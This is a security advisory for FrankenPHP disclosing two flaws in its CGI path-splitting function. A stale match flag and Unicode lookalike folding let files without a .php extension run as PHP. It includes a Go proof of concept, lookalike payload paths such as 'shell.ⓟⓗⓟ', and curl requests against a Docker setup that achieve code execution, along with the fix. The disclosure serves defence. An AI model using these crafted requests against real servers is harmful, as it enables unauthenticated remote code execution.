FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files

### Summary The `splitPos()` function in [`cgi.go`](https://github.com/php/frankenphp/blob/main/cgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-`.php` file as a `.php` script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw. This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4. ### Details ```go var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) func splitPos(path string, splitPath []string) int { if len(splitPath) == 0 { return 0 } pathLen := len(path) for _, split := range splitPath { splitLen := len(split) for i := 0; i < pathLen; i++ { if path[i] >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break } if i+splitLen > pathLen { continue } match := true for j := 0; j < splitLen; j++ { c := path[i+j] if c >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break // <-- flaw 1: 'match' is still true } if 'A' <= c && c <= 'Z' { c += 'a' - 'A' } if c != split[j] { match = false break } } if match { return i + splitLen } } } return -1 } ``` #### Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback In the inner `for j` loop, when a byte satisfies `c >= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if `.php` had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.<U+00A1>.txt` gets routed as PHP. #### Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII `search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `﹒php`, `．php`, `.ｐhp`, `.ⓟⓗⓟ`, `.𝗽𝗵𝗽`, `.𝓅𝒽𝓅`, `.𝖕𝖍𝖕`, etc. is reported as `.php`. Both flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case split entry against an arbitrary path. `WithRequestSplitPath` already guarantees every entry is ASCII and lower-cased, so any byte `>= utf8.RuneSelf` in the path can never be part of a legitimate match — but the fallback ignored that guarantee. ### PoC Standalone reproducer (copy `splitPos` from `cgi.go` verbatim, plus the imports): ```go package main import ( "fmt" "unicode/utf8" "golang.org/x/text/language" "golang.org/x/text/search" ) var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) // ... splitPos copied verbatim from cgi.go ... func main() { split := []string{".php"} payloads := []string{ // flaw 1 "/PoC-match-unset.txt", // expected: -1 "/PoC-match-unset.¡.txt", // expected: -1, actual: 20 // flaw 2 "/shell﹒php", // ﹒ small full stop "/shell．php", // ． fullwidth full stop "/shell.ｐhp", // ｐ fullwidth p "/shell.pｈp", // ｈ fullwidth h "/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled "/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold "/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script "/shell.ⓟⓗⓟ.anything-after-payload.php", } for _, p := range payloads { fmt.Printf("%-50s : %d\n", p, splitPos(p, split)) } } ``` Run `go run poc.go`: ```text /PoC-match-unset.txt : -1 /PoC-match-unset.¡.txt : 20 /shell﹒php : 12 /shell．php : 12 /shell.ｐhp : 12 /shell.pｈp : 12 /shell.ⓟⓗⓟ : 16 /shell.𝗽𝗵𝗽 : 19 /shell.𝓅𝒽𝓅 : 19 /shell.ⓟⓗⓟ.anything-after-payload.php : 16 ``` Every value other than `-1` is a wrong answer: `splitPos` claims `.php` was matched at the printed offset, so `SCRIPT_FILENAME` is set to the corresponding non-PHP file (which PHP then loads and executes). #### End-to-end demo Directory layout: ``` . ├── Caddyfile # `:8080 { root * /app/public; php }` └── public/ ├── index.php ├── poc-match-unset.¡. # contains <?php echo "marker=flaw1\n"; ?> └── poc-search-norm.𝗽𝗵𝗽 # contains <?php echo "marker=flaw2\n"; ?> ``` ```bash docker run --rm -d --name frankenphp-poc \ -p 18080:8080 \ -v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \ -v "$(pwd)/public:/app/public" \ dunglas/frankenphp:latest # baseline (correctly fails to map a .txt or non-php file to PHP) curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger" curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger" # flaw 1 — runs poc-match-unset.¡. as PHP curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger" # flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger" ``` Both crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files. ### Impact Comparable in shape to [CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1). ### Patch Both flaws share a single fix: drop the `golang.org/x/text/search` fallback entirely and treat any byte `>= utf8.RuneSelf` in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. ### Credit Both flaws were reported by @KC1zs4.